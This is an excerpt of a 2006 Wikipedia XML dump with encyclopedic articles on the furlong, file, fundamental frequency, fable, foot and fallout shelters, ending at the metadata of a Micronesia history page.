A '''furlong''' is a measure of [[distance]] within [[Imperial units]] and [[U.S. customary units]]. Although its definition has varied historically, in modern terms it equals 660 [[foot (unit of length)|feet]] or 220 [[yard]]s, and is therefore equal to 201.168 [[metre]]s. There are ten [[chain (length)|chains]] in a furlong and eight furlongs in a [[mile]]. The name &quot;furlong&quot; derives from the [[Old English language|Old English]] words ''furh'' (furrow) and ''lang'' (long). It originally referred to the length of the furrow in one [[acre]] of a ploughed [[open field system|open field]] (a medieval communal field which was divided into strips). The system of long furrows arose because turning a team of oxen pulling a heavy plough was difficult. This offset the drainage advantages of short furrows and meant furrows were made as long as possible. For this reason, it was once also called an '''acre's length'''.

Distances for [[thoroughbred horse]] [[horse-racing|races]] in the [[United Kingdom]], [[Ireland]] and the [[United States]] are given alternately in miles and furlongs ([http://www.sportinglife.com/racing/goodwood/course/ example]), but the unit is otherwise no longer in common use &amp;mdash;and even in that discipline its usage is confined mainly to denoting distances of less than one mile. Its official use was abolished in the United Kingdom under the Weights and Measures Act [[1985]], which also abolished from official use many other traditional units of measurement.

Coincidentally, 5 furlongs is 1005.84 metres (exactly) and is therefore approximately 1 kilometre.

==Trivia==
An absurd unit of speed often misquoted is the '''[[Furlongs_per_fortnight|furlong per]] [[Fortnight|fortnight]]''', which [[Conversion_of_units#Speed|converts]] to:
*0.0001663095 [[metre per second]] or roughly one [[centimetre]] per [[minute]] (in [[SI]] units)
*0.001995714 [[inch]]es per [[second]] (in [[Imperial unit]]s)
Thus:
*a car travelling at 60&amp;nbsp;km/h (37&amp;nbsp;mph) is travelling at a speed of 100,214.7 furlongs per fortnight;
*a [[Boeing]] [[Boeing 737|737]] cruising at 420 [[Knot_(speed)|knots]] or 216.2&amp;nbsp;m/s (i.e. typical 0.8 [[Mach (speed)|Mach]] cruise) is travelling at 1,300,013.7 furlongs per fortnight;
*the [[speed of light]] in vacuum is approximately 1.803{{e|12}} furlongs per fortnight;
*one furlong per fortnight is 0.166 millimetres per second, which would be barely noticeable to the naked eye (the tip of an hour hand on a clock, measuring 3.75 feet in length, travels at about 1 furlong per fortnight).

The city of [[Chicago]]'s address numbering system allots a measure of '''800''' numbers to each mile. Logically, streets were subsequently laid out 8 to the mile. This means that every block in a typical Chicago neighborhood (in either North/South or East/West direction but rarely both) is precisely one furlong.

[[Category:Units of length]]
[[Category:Imperial units]]
[[Category:Customary units in the United States]]

[[de:Furlong]]
[[es:Furlong]]
[[it:furlong]]
[[fr:Furlong]]
[[nl:Furlong]]
[[ja:ハロン (単位)]]
[[pl:Furlong]]
[[ru:Фурлонг]]
[[sl:Furlong]]</text>
    </revision>
  </page>
  <page>
    <title>File</title>
    <id>11489</id>
    <revision>
      <id>35378553</id>
      <timestamp>2006-01-16T08:38:57Z</timestamp>
      <contributor>
        <username>CyberSkull</username>
        <id>123609</id>
      </contributor>
      <comment>unicode, file menu</comment>
      <text xml:space="preserve">'''File''' has several meanings:

* [[Computer file]]
* [[file: URL]] schema
* [[file (Unix)]], a program used to determine file types.
* [[Filing (legal)]]
* [[File folder]] used for paper storage.
* [[File (tool)]]
* [[File (metalwork)]]
* [[Chess terminology#F|File (chess)]]
* [[File (formation)]] Military term for a single column of men one in front of the other. See also [[Rank (formation)]]
* The [[File menu]]


{{disambig}}

[[ja:ファイル]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental frequency</title>
    <id>11490</id>
    <revision>
      <id>28354649</id>
      <timestamp>2005-11-15T02:11:25Z</timestamp>
      <contributor>
        <username>Freestyle</username>
        <id>463706</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">The '''fundamental tone''' often referred to simply as the '''fundamental''', is the lowest frequency in a [[harmonic series (music)|harmonic series]].

The '''fundamental [[frequency]]''' of a [[periodic signal|periodic]] [[Signal (information theory)|signal]] is the inverse of the [[Pitch (music)|pitch]] [[period (music)|period]] length. The pitch period is, in turn, the smallest repeating unit of a signal. One pitch period thus describes the periodic signal completely. The significance of defining the pitch period as the ''smallest'' repeating unit can be appreciated by noting that two or more concatenated pitch periods form a repeating pattern in the signal. However, the concatenated signal unit obviously contains redundant information.

A 'fundamental bass' is the [[root note]], or lowest note or pitch in a chord or sonority when that chord is in root position or [[normal form]].

==See also ==

*[[Missing fundamental]]
*[[oscillation]]
*[[Hertz]]
[[Category:Tuning]]
[[Category:Fourier analysis]]
[[da:Tone]]
[[de:Grundfrequenz]]
[[fr:Fondamentale]]
[[nl:Grondtoon]]
[[pt:Fundamental]]</text>
    </revision>
  </page>
  <page>
    <title>Fable</title>
    <id>11491</id>
    <revision>
      <id>41750294</id>
      <timestamp>2006-03-01T13:54:31Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">:''For other uses of the term or its plural, see [[fable (disambiguation)]].''

In its strict sense a '''fable''' is a [[short story]] or [[folk tale]] embodying a [[moral]], which may be expressed explicitly at the end as a [[maxim_(saying)|maxim]].  &quot;Fable&quot; comes from Latin ''fabula'' (meaning  'conversation', 'narrative', 'tale') and shares a root with ''faber,'' &quot;maker, artificer.&quot;  Thus, though a fable may be conversational in tone, the understanding from the outset is that it is an invention, a fiction. A fable may be set in verse, though it is usually prose. In its pejorative sense, a fable is a deliberately invented or falsified account.

A fable often, but not necessarily, makes [[metaphor]]ical use of an [[animal]] as its central character. [[Old French|Medieval French]] ''[[fabliau]]x'' might feature [[Reynard]] the [[fox]], a [[trickster]] figure, and offer a subtext that was mildly subversive of the [[feudal]] order of society. A familiar theme in Slavic fables is an encounter between a wily peasant and the [[Devil]]. But the device of personificatoin may be extended to anything inanimate, such as trees, flowers, stones, streams and winds.

In some usage, &quot;fable&quot; has been extended to include stories with [[Mythology|myth]]ical or [[legend]]ary elements.  The word &quot;'''fabulous'''&quot; strictly means &quot;pertaining to fables,&quot; although in recent decades its metaphorical meanings have been taken to be literal meanings, i.e. &quot;legendary,&quot; &quot;mythical,&quot; &quot;exaggerated,&quot; &quot;incredible.&quot;  An author of fables is called a '''fabulist'''.

==History==
Fables have long been told. The first notable fabulist was Aesop, a Greek slave ca. 600 B.C. He is considered the father of the genre because 200 fables have been attributed to him, though most of them may have been told earlier. Fables had a further long tradition through the [[Middle Ages]] and became part of European literature. During the 17th century, the works of [[Jean de La Fontaine]] (1621-1695) saw the soul of the fable in the '''moral''' — a rule of behavior.  Starting with the Aesopian pattern, la Fontaine set out to satirize the court, the church, the rising [[bourgeoisie]], indeed the entire human scene of his time.

In modern times, the fable has been trivialized in children's books. Yet it has also been fully adapted to modern literature.  For instance, James Thurber used the ancient style in his book, '''Fables for Our Time'''; and in a book, ''The Beast in me'', unmasked by fables. [[George Orwell]]'s ''[[Animal Farm]]'' satirizes [[Stalinist Communism]] in particular, and [[totalitarianism]] in general, by using the animal story.

[[Epicharmus of Kos]] and Phormis have been reported as having been among the first to invent comic fables.{{ref|Buckham1}}

==Notable fabulists==
* [[Aesop]]
* [[Vishnu Sarma]]
* [[Phaedrus]]
* [[Hyginus]], author of ''Fabulae''. 
* [[Berechiah ha-Nakdan]] (Berechiah the Punctuator, [[Jew]]ish author, [[1200s]]).
* [[Marie de France]]
* [[Biernat of Lublin]] ([[Poland|Polish]], [[1465]]? &amp;ndash; after [[1529]]).
* [[Jean de La Fontaine]]
* [[Ignacy Krasicki]] ([[Poland|Polish]], [[1735]] &amp;ndash; [[1801]]).
* [[Hans Christian Andersen]]
* [[Ivan Krylov]]
* &quot;[[Uncle Remus]]&quot; ([[Joel Chandler Harris]])
* [[James Thurber]]
* [[George Orwell]]

==Some modern fabulists==
*[[George Ade]]
*[[James Thurber]] (1894-1961), ''Fables For Our Time''.
*[[Damon Runyon]]
*[[Sholem Aleichem]]

==Notable fables==
* ''[[Stone Soup]]''
* ''[[The Little Engine that Could]]''
* ''[[Jonathan Livingston Seagull]]''
* ''[[Watership Down]]''
* ''[[The Lion King 1 and 2]]''
* ''[[Emperor's New Clothes (fable)]]''
* ''[[Fables and Parables]]'' by [[Ignacy Krasicki]]
* ''[[The Fox and the Cock]]'' by [[James Thurber]]
* ''[[Animal Farm]]'' by [[George Orwell]]

==See also==
*[[Allegory]]
*[[Anthropomorphism]]
*[[Apologue]]
*[[Apologia]] 
*[[Fairy tale]]
*[[Ghost story]]
*[[Parable]]
*[[Urban Legend]]

==Notes==
#{{note|Buckham1}} P.W. Buckham, p. 245

==References==
* Philip Wentworth Buckham, ''Theatre of the Greeks'', 1827.

==External links==
*[http://www.nickbostrom.com/fable/dragon.html The Dragon-Tyrant]
*[http://www.lefavole.org/en/ Fables - Collection and guide to fables for children]

[[Category:Fables| ]]

[[cs:Bajka]]
[[da:Fabel]]
[[de:Fabel]]
[[es:Fábula]]
[[eo:Fablo]]
[[fr:Fable]]
[[ko:우화]]
[[he:משל]]
[[nl:Fabel]]
[[nds:Fabel]]
[[ja:寓話]]
[[no:Fabel]]
[[pt:Fábula]]
[[ro:Fabulă]]
[[sk:Bájka]]
[[sv:Fabel]]
[[wa:Fåve di djåzantès biesses]]
[[zh:寓言]]</text>
    </revision>
  </page>
  <page>
    <title>Foot</title>
    <id>11492</id>
    <revision>
      <id>39013050</id>
      <timestamp>2006-02-10T03:04:55Z</timestamp>
      <contributor>
        <ip>71.192.102.136</ip>
      </contributor>
      <comment>Esperanto fix</comment>
      <text xml:space="preserve">{{otheruses}}
{{cleanup-date|June 2005}}

[[image:foot.png|left|thumb|A human foot - Enlarge to view legend]]
[[Image:Three right feet.jpg|thumb|200px|Right feet of three siblings]]
The '''foot''' is a biological structure found in many [[animal]]s that is used for [[locomotion]]. The plural of ''foot'' is ''feet'', and this pair is one of seven mutated [[English plural|English plurals]].

==Structure==
The sructural quality of a foot varies from animal to animal. Many [[vertebrate]]s that have [[Leg (anatomy)|legs]] also have a foot located at the end of each leg. For these animals, the foot is a complex structure of [[bone]], [[muscle]], and other [[connective tissue]]. Among animals that have soft or padded feet, the foot is commonly called a [[paw]]. In [[mollusk]]s, on the other hand, the foot is a purely muscular structure. 
&lt;div class=&quot;floatright&quot;&gt;[[Image:foot-outside.jpg|thumb|none|Lateral (outward-facing) side of a human foot.]][[Image:foot-inside.jpg|thumb|none|Medial (inward-facing) side of a human foot, showing the arch.]]&lt;/div&gt;
Human beings use their legs and feet for [[bipedal locomotion]], also known as [[walking]]. The structures of the human foot and [[hand]] are variations on the same basic five-digit anatomy, in common with many other vertebrates (the thumb and big toe have two phalanges, while the other fingers and toes consist of three). They are also the most complex, comprising half the bones in the body. The medical specialty related to treatment of the feet is orthopaedic foot and ankle subspecialty.

==Footwear==
In many societies, it is customary to cover the foot in most social situations; particularly outside, in many cultures (including [[North America]]n, [[Europe]]an, [[Japan]]ese and others) [[person|people]] wear protective clothing over the foot.  Such [[footwear]] has special names, such as [[sandal (footwear)|sandal]]s, [[shoe]]s, and [[boot]]s.  Consistent wearing of footwear, particularly in hot climates or during exercise, can lead to [[foot odor]].  If footwear is ill-fitting or badly designed, it can cause both short-term ([[blister]]s, for example) and long-term foot problems. On the other hand, carefully designed orthopedic footwear is an effective treatment for many foot, leg, and back problems.

==Customs==
Customs about foot covering while indoors vary significantly from place to place.  For example, in much of [[Europe]] and [[Canada]], it is customary to remove one's shoes or boots when entering a home, while in the [[United States]] this is rare in most parts of the country. In [[Japan]], the custom is so widespread that floors are often made of materials that are too soft to survive being walked on by shod feet.  In some cultures, bare feet may be considered unsightly or offensive.  In [[Arab world|Arab]] countries and in [[Thailand]], it is considered extremely offensive to show someone the sole of your foot, although the practice of not wearing shoes is common, due to various reasons including poverty and religion.

==Kicking==
Certain [[martial art]]s, such as [[Savate]], emphasize kicking, reasoning that the foot is the only part of the body normally covered by protective clothing.  On the other hand, some martial arts (including [[Karate]], [[Judo]]) are customarily trained in bare feet, as well as beach sport (for example [[beach volleyball]]). Many [[sport]]s, including [[football]] (in all its forms, including [[football (soccer)|soccer]]), and [[Rugby football|rugby]], involve kicking a ball or other object with the foot.

==Measurement==
The foot provides a convenient way to measure short distances on the ground, by placing one foot directly in front of the other; this led to the adoption of the [[foot (unit of length)|foot as a unit of length]].

&lt;br clear=all /&gt;

==Parts of the foot==
[[Image:Foot-bones.jpg|thumbnail|250px|right|The bones in the human foot]]

===Parts of the foot===
* [[heel]]
* [[instep]]
* [[sole]]
* [[ball (anatomy)|ball]]
* five [[toe]]s- big, pointer,middle, ring, pinky toes
* toe nails

===Disorders of the feet===
* [[athlete's foot]]
* [[bunion]]
* [[callus]]
* [[flat feet]]
* wart

==See also==
* [[foot fetishism]]
* [[foot binding]]
* [[footwear]]
* [[hosiery]]
* [[reflexology]]
* [[paw]]
* [[podiatry]]
* [[barefoot]]

== External links==
* [http://www.acfas.org/ American College of Foot and Ankle Surgeons]
* [http://www.apma.org/ American Podiatric Medical Association]
* [http://www.abps.org/ American Board of Podiatric Surgery]
* [http://www.aapsm.org/ American Academy of Podiatric Sports Medicine]
* [http://www.aofas.org/educational.asp American Orthopedic Foot and Ankle Society]
* http://www.podiatrytoday.com/podtd/
* http://www.epodiatry.com/foot_problems.htm
* http://www.barefooters.org/
* http://www.unshod.org/pfbc/
* http://www.foothealthcare.com/html/articles/allabout.htm



{{human anatomical features}}

[[Category:Foot|*]]
[[cy:Troed]]
[[da:Fod]]
[[de:Fuß]]
[[es:Pie (anatomía)]]
[[eo:Piedo]]
[[fr:Pied (anatomie)]]
[[it:Piede (anatomia)]]
[[nl:Voet (anatomie)]]
[[ja:&amp;#36275;]]
[[nds:Foot]]
[[pt:Pé]]
[[simple:Foot]]
[[fi:Jalka]]
[[sv:Fötter]]</text>
    </revision>
  </page>
  <page>
    <title>Fallout shelter</title>
    <id>11493</id>
    <revision>
      <id>42125720</id>
      <timestamp>2006-03-04T00:07:45Z</timestamp>
      <contributor>
        <username>Cadmium</username>
        <id>537120</id>
      </contributor>
      <text xml:space="preserve">[[Image:fallout_shelter.jpg|thumb|A sign pointing to an old fallout shelter in [[New York City]].]]

A '''fallout shelter''' is a [[civil defense]] measure intended to reduce casualties in either a [[nuclear war]] or a serious [[nuclear accident]]. 

* Weapons [[nuclear fallout]] is [[Radioactive contamination|radioactive]] dust created when a [[nuclear weapon]] explodes. The explosion vaporizes any material within the fireball, including the ground if it is nearby. Much of this material is exposed to neutrons from the explosion, absorbs them, and becomes radioactive. When this material condenses in the cloud, it forms dust and light sandy material that resembles ground [[pumice]]. The fallout emits both [[beta particles]] and [[gamma rays]]. Much of this highly radioactive material then falls to earth, subjecting anything within the line of sight to radiation, a significant [[radioactive contamination|hazard]]. A fallout shelter is designed to allow its occupants to avoid exposure to harmful fallout until radioactivity has lowered to a safer level.

* The bulk of the [[radioactivity]] in  nuclear accident fallout is more long-lived than that in weapons fallout, a good table of the [[nuclide]]s such as that provided by the [[Korean]] Atomic Energy Research Institute includes the [[fission]] yeilds of the different nuclides from this data it is possible to calculate the isotropic mixture in the fallout (due to [[fission products]] in bomb fallout). The mixture of radioisotopes present in used power reactor fuel can be more complex because neutron activation of fission products is possible, a good example of this is the [[cesium]] isotropic signature. In terms of activity (Bq or [[curies]]) it is the case that the activity in a power reactor fuel one hour after shutdown tends to be more long lived because the majority of the shortlived fission products will have had time to decay.

:: An example:

:::Imagine that some [[fissile]] material is used in a [[bomb]], and that in 10&lt;sup&gt;12&lt;sup&gt; fissions an equal number of &lt;sup&gt;131&lt;sup&gt;I and &lt;sup&gt;137&lt;sup&gt;Cs atoms are formed. Becuase the &lt;sup&gt;131&lt;sup&gt;I has such a short half life when comapired with the &lt;sup&gt;137&lt;sup&gt;Cs, the activity ratio of &lt;sup&gt;131&lt;sup&gt;I to &lt;sup&gt;137&lt;sup&gt;Cs will be very much in favour of the &lt;sup&gt;131&lt;sup&gt;I one hour after the fission event.

:::Imagine that a lump of fuel in a power reactor undergoes 10&lt;sup&gt;12&lt;sup&gt; fissions, which will generate a given amount of &lt;sup&gt;131&lt;sup&gt;I, if the reactor was run at a constant power for one year then the majorty of the &lt;sup&gt;131&lt;sup&gt;I will have had time to decay. However the vast majorty of the &lt;sup&gt;137&lt;sup&gt;Cs atoms will not have had time to decay. So the &lt;sup&gt;131&lt;sup&gt;I to &lt;sup&gt;137&lt;sup&gt;Cs ratio is more in favour of &lt;sup&gt;137&lt;sup&gt;Cs than the mixture formed 

== Different types of radiation emitted by fallout ==

=== Alpha ===

In the vast majority of accidents and in all [[atomic bomb]]s the threat due to beta and gamma emitters is far greater than that posed by the small amount of alpha emitters in the fallout. The alpha radiation can be very harmful, but only if they are ingested or inhaled. The particles can be blocked easily by a sheet of paper.

=== Beta ===

It is likely that even a light structure will give good protection against most beta emitters, it is important to note that small particles of fallout can cause [[radiation burns|localised radiation injuries]] known as beta burns. It is thought that if a person entering a fallout shelter was to change their [[shoes|footware]] and leave their outer clothing outside the main area then the persons inside will be protected from these beta burns. The beta rays are more penatrating than alpha rays, but internal exposure will tend to do less damage becuase the [[LET]] is lower. 

Three centimeters of aluminum can block the beta emmisions from even a high energy beta emitter such as &lt;sup&gt;90&lt;sup&gt;Sr, while a lower energy beta emitter such as [[tritium]] or &lt;sup&gt;14&lt;sup&gt;C will be stopped by even more thin objects.

=== Gamma ===

These are not a charged particle, and are thus it is more able to pass through objects and may pose a large threat to a person in a fallout shelter. Most of the design of a fallout shelter is intended to protect against gamma rays. Their intensity can be reduced by dense materials such as [[lead]], [[steel]], [[concrete]] or packed earth.

== Protection offered by the solid walls and roof of a structure ==

It is important to note that the fallout from either a weapon or an accident is a complex mixture of many radioisotopes. For weapons fallout the photon energy is assumed to be the same as the gamma rays from &lt;sup&gt;60&lt;sup&gt;[[cobalt|Co]]. Below is shown a graph on which it is shown how at different times after the start of the [[Chernobyl]] accident different radioisotopes were responsible for the majority of the dose, it has been assumed that no chemical separation occured during the transport of radioactivity to the site where the fallout fell (this in real life is not true), no decontamination or removal of fall out (eg weathering) occurs.

=== No shielding ===

[[Image:Airdosechernobyl2.jpg|thumb|right|300px|The contributions made by the different isotopes to the dose (in air) caused in the contaminated area in the time shortly after the accident. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html] and the second edition of 'The radiochemical manual'.]]

Using the data for the source term (radioactive release) from [[Chernobyl]], and other literature data it is possible to estimate how much protection a wall of concrete will offer in the event of a Chernobyl like accident. These calculations are for a room with no windows, or doors. The radioactivity dust on the roof, and the windows and doors will make the estimation of the protection factor more difficult.

=== 10 cm concrete shielding ===

What can be seen in these graphs is that as the thickness of the wall is increased the protection factor increases. The protection factor is the ratio of the dose rate suffered by a person inside the shelter divided by the dose rate in the open. It is important to note that the protection factor changes as a function of time. This is because some of the shortlived isotopes such as Zr-95/Nb-95 generate very high energy gamma photons, while the longer lived Cs-137 have a lower photon energy.

It is also  important to note that as the wall is made thicker the average gamma photon energy for those photons which pass through the wall becomes higher. So each additional layer of concrete has a smaller effect on the dose rate.

[[Image:Isotopeshareofgammadosewith10cmconcreteatchernobyl.jpg|thumb|right|300px|The contributions made by the different isotopes to the dose (in air) caused in the contaminated area in the time shortly after the accident with '''10 cm of concrete sheilding'''. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html], the second edition of 'The radiochemical manual' and 'Radiochemistry and Nuclear Chemistry']]

[[Image:Protectionfactorchernobyl10cm.jpg|thumb|left|300px|The protection factor provided by '''10 cm of concrete sheilding''' where the source is the idealised chernobyl fallout. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html], the second edition of 'The radiochemical manual' and 'Radiochemistry and Nuclear Chemistry']]

=== 20 cm concrete shielding ===

[[Image:Isotopeshareofgammadosewith20cmconcreteatchernobyl.jpg|thumb|right|300px|The contributions made by the different isotopes to the dose (in air) caused in the contaminated area in the time shortly after the accident with '''20 cm of concrete sheilding'''. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html], the second edition of 'The radiochemical manual' and 'Radiochemistry and Nuclear Chemistry']]

[[Image:Protectionfactorchernobyl20cm.jpg|thumb|left|300px|The protection factor provided by '''20 cm of concrete sheilding''' where the source is the idealised chernobyl fallout. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html], the second edition of 'The radiochemical manual' and 'Radiochemistry and Nuclear Chemistry']]

=== 30 cm concrete shielding ===

[[Image:Isotopeshareofgammadosewith30cmconcreteatchernobyl.jpg|thumb|right|300px|The contributions made by the different isotopes to the dose (in air) caused in the contaminated area in the time shortly after the accident with '''30 cm of concrete sheilding'''. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html], the second edition of 'The radiochemical manual' and 'Radiochemistry and Nuclear Chemistry']]

[[Image:Protectionfactorchernobyl30cm.jpg|thumb|left|300px|The protection factor provided by '''30 cm of concrete sheilding''' where the source is the idealised chernobyl fallout. Note that this image was drawn using data from the OECD report, [http://atom.kaeri.re.kr/ton/nuc6.html], the second edition of 'The radiochemical manual' and 'Radiochemistry and Nuclear Chemistry']]

It is important to note that as the shield becomes thicker the very high photon energy emitters such as &lt;sup&gt;140&lt;sup&gt;Ba/&lt;sup&gt;140&lt;sup&gt;La and &lt;sup&gt;95&lt;sup&gt;Zr/&lt;sup&gt;95&lt;sup&gt;Nb become more and more important.

=== Other matters and simple improvements ===

In the long term it is important to consider the protection which is offered by a person's home in the months and years after an event such as the [[Chernobyl accident]]. While the persons home may not be a purpose made shelter it can be thought of as a shelter if any action is taken to improve the degree of protection.

==== Measures to lower the beta dose ====

The main threat from beta emitters is from a ''hot particle'' which is in contact or close to the skin of the person. Also a swallowed or inhaled hot particle could cause beta burns.

*It is mandatory to improve conditions that extra fresh water and soap is kept uncontaminated to cleanse '''everyone''' throughly to remove fallout. Also have fresh clothes for them to wear, since the initial clothes themselves would be irridated. Dispose of the clothes away from the shelter, or in a part of the shelter away from yourself and others, preferably in sealed containers.

==== Measures to lower the gamma dose rate ====

It is likely that the gamma dose rate due to the contamination brought into the shelter on the clothing of a person is unlikely to be significant unless the shelter has very good sheilding on the walls and roof (or if the person was very badly contaminated).

* Roofs and gutters should be cleaned to lower the dose rate in the house.

* The top inch of soil in the area near the house should be either removed or dug up and mixed with the deeper layers of soil. This reduces the dose rate as the gamma photons have to pass through the soil before they can irradate a person.

* Nearby roads can be rinsed and washed down to remove dust and debries;the contaminated materials would collect in the sewers and gutters for easier disposal. In [[Kiev]] after the Chernobyl accident a program of road washing was used to control the spread of radioactivity.

* Windows can be bricked up, or the sill raised to reduce the hole in the shielding formed by the wall.

* Gaps in the shielding can be blocked using water cans, such as bottles of water. While water only has a density which is one tenth that of lead, it is still able to absorb gamma rays.

* Earth can be heaped up against the exposed walls of the building, this forces the gamma rays to pass through a thicker layer of shielding before entering the house.

* Nearby trees can be removed to reduce the dose due to fallout which is on the branchs and leaves. It has been suggested by the US govement that a fallout shelter should not be dug close to trees for this reason.

== Details of improvised fallout shelters ==

A basic fallout shelter consists of shields that reduce [[gamma rays|gamma ray]] exposure by a factor of 1000. Since the most dangerous fallout has the consistency of sand or finely ground pumice, a successful fallout shelter need not filter fine dust from air. The fine dust both emits relatively little radiation (because the intensity of the radiation increases as the cube of the particle size), and does not settle to the earth, where the fallout shelter is.

The required shielding can be accomplished with 10 times the amount of any quantity of material capable of cutting gamma ray effects in half. Shields that reduce gamma ray intensity by 50% (1/2) include 1 cm (0.4 inches) of lead, 6 cm (2.4 inches) of concrete, 9 cm (3.6 inches) of packed dirt or 150 m (500 ft) of air. When multiple thicknesses are built, the shielding multiplies. Thus, a practical fallout shield is ten halving-thicknesses of packed dirt. This reduces gamma rays by a factor of 1024, which is 2 multiplied by itself ten times. This multiplies out to 90 cm (3 ft) of dirt.

Usually, an expedient purpose-built fallout shelter is a trench, with a strong roof buried by ~1 m (3 ft) of dirt. The two ends of the trench have ramps or entrances at right angles to the trench, so that gamma rays cannot enter (they behave like invisible light). 

To make the overburden waterproof (in case of rain), a plastic sheet should be buried a few inches below the surface and held down with rocks or bricks.

Earth is an excellent thermal insulator, and over several weeks of inhabitation, a shelter will be completely warmed by body heat. Without good ventilation, the inhabitants are likely to suffer heat prostration. 

The simplest form of effective fan to cool a shelter is a wide, heavy frame with flaps that swings in the shelter's doorway and can be swung from hinges on the ceiling. The flaps open in one direction and close in the other, pumping air. Attach a rope, and take turns swinging it. (This is a Kearney Air Pump, or KAP, named after the inventor.) 

Any exposure to fine dust is far less hazardous than exposure to the gamma from the fallout outside the shelter. Dust fine enough to pass the entrance will probably pass through the shelter.

Effective public shelters can be the middle floors of some tall buildings or parking structures, or below ground level in most buildings with more than 10 floors. The thickness of the upper floors must form an effective shield, and the windows of the sheltered area must not view fallout-covered ground that is closer than 1.5 km (1 mi).

Inhabitants should plan to remain sheltered for at least two weeks, then work outside for gradually increasing amounts of time, to four hours a day at three weeks.  The normal work is to sweep or wash fallout into shallow trenches to decontaminate the area. They should sleep in a shelter for several months. Evacuation at three weeks is recommended by official authorities.

A battery-powered radio is very helpful to get reports of fallout patterns and clearance. In many countries (including the U.S.) civilian radio stations have emergency generators with enough fuel to operate for extended periods without commercial electricity.

It is possible to construct an electrometer-type radiation meter from plans with just a coffee can or pail, gypsum board, [[monofilament line|monofilament fishing line]], and aluminum foil. Plans are in the reference [http://www.nukepills.com/docs/nuclear_war_survival_skills.pdf &quot;Nuclear War Survival Skills&quot;] by Cresson Kearny. 

If available, inhabitants should take [[potassium iodide]] at the rate of 130mg/day per adult (65mg/day per child) as an additional measure to protect the human thyroid gland from the uptake of dangerous radioactive iodine, a component of most fallout and reactor waste. (for more info, including storage, and use of an inexpensive saturated solution, see [[potassium iodide]])

== History ==
[[Image:Fallout shelter photo.png|thumbnail|300px|right|Idealized American fallout shelter from around 1957.]]
Substantial numbers of fallout shelters were built in the [[1950s]] in both the Eastern and Western blocs, though not in the U.S., which held a general policy of [[mutual assured destruction]]. During the Cold War many countries built fallout shelters for high-ranking government officials and crucial military facilities. Plans were made, however, to use existing buildings with sturdy below-ground-level basements as makeshift fallout shelters, but the initial blast of a nuclear attack may have rendered these basements either buried under many tons of rubble and thus impossible to leave, or removed their upper framework, thus leaving the basements unprotected.

[[Switzerland]], however, built an extensive network of fallout shelters (mainly through extra hardening of government buildings such as schools) of a scale to protect and feed the entire population for two years after a nuclear attack. This nation has the highest ratio of shelter space to national population of any country. All these shelters are capable of withstanding nuclear fallout and biological or chemical (NBC) attacks but the blast-proof requirement varies depending on the size of the building. The largest buildings usually have dedicated shelters tunneled into solid rock.

The only other West-European nation to undertake a similar project has been [[Finland]] which requires all buildings with area over 600 m² to have a NBC shelter.

Interest in fallout shelters has largely dropped, as the perceived threat of global nuclear war reduced after the end of the Cold War. However, a renewed interest has been seen since terrorism has struck on American soil. These shelters also provide a safe haven from natural disasters such as tornadoes and hurricanes.

A fallout shelter features prominently in the [[Robert A. Heinlein]] novel ''[[Farnham's Freehold]]'', the Dean Ing novel ''Pulling Through'', and the [[Walter M. Miller]] novel ''[[A Canticle for Leibowitz]]''.

==See also==
*[[Bunker]]
*[[Blast shelter]]

== External links ==
*[http://www.survivalring.org SurvivalRing.org]This website offers dozens of free downloadable digitized documents on fallout shelter plans, regulations, standards, technical specifications, and more, as well as US targeting info as provided by FEMA.

*[http://www.oism.org/ Oregon Institute of Science and Medicine]This website offers the entire online version of Nuclear War Survival Skills with full graphics and web navigation, created with the permission of the author Cresson Kearny. This manual has proven technical info on expedient fallout shelter, shelter habitation, and assorted shelter system needs that can be created from common household items. OISM also offers free downloads of other civil defense and shelter information as well.

*[http://www.survivalring.org/CivilDefenseShelters-FEMA-Assessment-1986(final).pdf FEMA Civil Defense Shelters - A state of the Art Assessment - 1986 ] This 25 megabyte PDF file is the complete 300 page plus report on civil defense fallout shelter and shelter systems as compiled under contract for FEMA. Includes information on the design, construction, testing and cost of blast and fallout shelters, and includes a bibliography of over 1000 documents. Hosted by SurvivalRing.org.

*[http://www.survivalring.org/FalloutShelterSurvey.pdf Fallout Shelter Surveys: Guide for Architects and Engineers] 58 page PDF document - Provides a guide for architects and engineers with procedures and standards for evaluating potential fallout shelter areas in existing buildings. Hosted by SurvivalRing.org.

*[http://www.survivalring.org/shelter%20management%20manual.pdf FEMA Fallout Shelter Management Handbook] 22 page PDF document - &quot;The safety and well-being of the people in this shelter depend on capable leadership. If a civil defense shelter manager is not present, anyone seeing this handbook who has leadership experience can and should TAKE CHARGE IMMEDIATELY.&quot; Hosted by SurvivalRing.org.

*[http://www.survivalring.org/shelter01.pdf FEMA Underground Fallout Shelter Plan H-12-1] 9 page PDF document. Actual FEMA plan for a backyard underground fallout shelter. Hosted by SurvivalRing.org.


&lt;!--Categories--&gt;
[[Category:Cold War]]
[[Category:Nuclear warfare]]
[[Category:Radioactivity]]
[[Category:Radiobiology]]
[[Category:Subterranea]]
[[Category:Shelters]]
[[fr:Abri anti-atomique]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Federated States of Micronesia</title>
    <id>11494</id>
    <revision>
      <id>40363594</id>
      <timestamp>2006-02-20T01:51:42Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
